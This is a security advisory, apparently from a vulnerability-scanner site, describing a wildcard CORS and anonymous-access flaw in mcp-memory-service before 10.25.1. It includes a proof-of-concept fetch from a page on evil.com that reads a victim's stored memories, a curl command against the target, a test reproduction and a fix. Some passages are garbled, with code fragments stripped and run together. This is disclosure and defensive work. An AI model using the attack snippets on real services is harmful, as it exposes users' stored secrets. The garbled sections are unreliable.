| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| mcp-memory-service | < 10.25.1 | 10.25.1 |
| mcp-memory-service | < 10.25.1 | 10.25.1 |
When the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories.
config.py:546 - Wildcard CORS origin default
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', '*').split(',')
This produces ['*'] by default, allowing any origin.
app.py:274-280 - CORSMiddleware configuration
# CORS middleware
app.add_middleware(
CORSMiddleware,
allow_origins=CORS_ORIGINS, # ['*'] by default
allow_credentials=True, # Unnecessary for anonymous access; bad practice
allow_methods=["*"],
allow_headers=["*"],
)
The wildcard CORS default means every API response includes Access-Control-Allow-Origin: *. This tells browsers to allow any website to read the response. When combined with anonymous access (no authentication required), the attack is straightforward:
// Running on https://evil.com - reads victim's memories
// No credentials needed - anonymous access means the API is open
const response = await fetch('http://192.168.1.100:8000/api/memories');
const memories = await response.json();
// memories contains every stored memory - passwords, API keys, personal notes
The browser sends the request, the server responds with ACAO: *, and the browser allows the JavaScript to read the response body. No cookies, no auth headers, no credentials of any kind.
Clarification on allow_credentials=True: The advisory originally stated that Starlette reflects the Origin header when allow_credentials=True with wildcard origins. Testing with Starlette 0.52.1 shows that actual responses return ACAO: * (not the reflected origin); only preflight OPTIONS responses reflect the origin. Per the Fetch specification, browsers block when is used. However, this is irrelevant to the attack because - a plain without works, and allows it.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíACAO: *credentials: 'include'fetch()credentials: 'include'ACAO: *This misconfiguration enables two distinct attack paths:
1. Cross-origin browser attack (CORS - this advisory)
ACAO: * header is what allows the browser to expose the response to the attacker's JavaScript2. Direct network access (compounding factor)
curl http://<target>:8000/api/memories)0.0.0.0 binding + anonymous access, independent of CORS configurationThe CORS misconfiguration specifically enables attack vector #1, extending the reach from local network to anyone who can get the victim to click a link.
HTTP_HOST = '0.0.0.0' - Binds to all interfaces, exposing the service to the entire network (enables attack vector #2)HTTPS_ENABLED = 'false' - No TLS by default, allowing passive interceptionMCP_ALLOW_ANONYMOUS_ACCESS - When enabled, no authentication is required at all. This is the key enabler: without it, the CORS wildcard alone would not allow data access (the attacker would need to forward valid credentials, which ACAO: * blocks)allow_credentials=True - Bad practice: if a future Starlette version changes to reflect origins (as some CORS implementations do), this would escalate the vulnerability by allowing credential-forwarding attacks against OAuth/API-key usersapi_key query param is cached in browser history and server logsmcp-memory-service with HTTP enabled and anonymous accesshttps://evil.com which includes JavaScriptfetch('http://<victim-ip>:8000/api/memories') (no credentials needed)Access-Control-Allow-Origin: *The default value of MCP_CORS_ORIGINS is *, which allows any website to read API responses. This is a permissive default that should be restricted to the expected dashboard origin (typically localhost). The allow_credentials=True is an additional misconfiguration that doesn't currently enable the attack.
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from starlette.testclient import TestClient
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
@app.get("/api/memories")
def memories():
return [{"content": "secret memory data"}]
client = TestClient(app)
# Non-credentialed request (how the real attack works with anonymous access)
response = client.get("/api/memories", headers={"Origin": "https://evil.com"})
print(response.headers["access-control-allow-origin"]) # *
print(response.json()) # [{"content": "secret memory data"}]
# Any website can read this response because ACAO is *
Replace the wildcard default with an explicit localhost origin:
# In config.py (safe default)
CORS_ORIGINS = os.getenv('MCP_CORS_ORIGINS', 'http://localhost:8000,http://127.0.0.1:8000').split(',')
# In app.py - warn on wildcard
if '*' in CORS_ORIGINS:
logger.warning("Wildcard CORS origin detected. This allows any website to access the API. "
"Set MCP_CORS_ORIGINS to restrict access.")
# Also: set allow_credentials=False unless specific origins are configured
app.add_middleware(
CORSMiddleware,
allow_origins=CORS_ORIGINS,
allow_credentials='*' not in CORS_ORIGINS, # Only with explicit origins
allow_methods=["*"],
allow_headers=["*"],
)
The vulnerability exists in the Python source code and is not mitigated by any deployment-specific configuration. Docker HTTP mode is the highest-risk deployment because it explicitly binds to 0.0.0.0, maps the port, and does not override the wildcard CORS default.